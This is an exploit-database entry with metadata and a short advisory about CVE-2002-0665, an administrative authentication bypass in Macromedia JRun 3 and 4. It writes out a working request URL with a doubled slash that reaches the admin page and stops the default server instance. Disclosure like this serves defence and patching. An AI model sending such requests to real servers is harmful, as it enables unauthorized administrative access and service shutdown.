Macromedia JRun 3/4 - Administrative Authentication Bypass

Author: Matt Moore
type: remote
platform: windows
port: 
date_added: 2002-06-28 
date_updated: 2012-09-28 
verified: 1 
codes: CVE-2002-0665;OSVDB-5151 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5118/info

Macromedia JRun is prone to an issue which may allow remote attackers to bypass the authentication page for the admin server. This may be exploited by adding an extraneous '/' to a request for the administrative authentication page.

http://JRun-Server:8000//welcome.jsp?&action=stop&server=default

will shutdown the 'default' JRun server instance on port 8100. Other
administrative functions can also be accessed.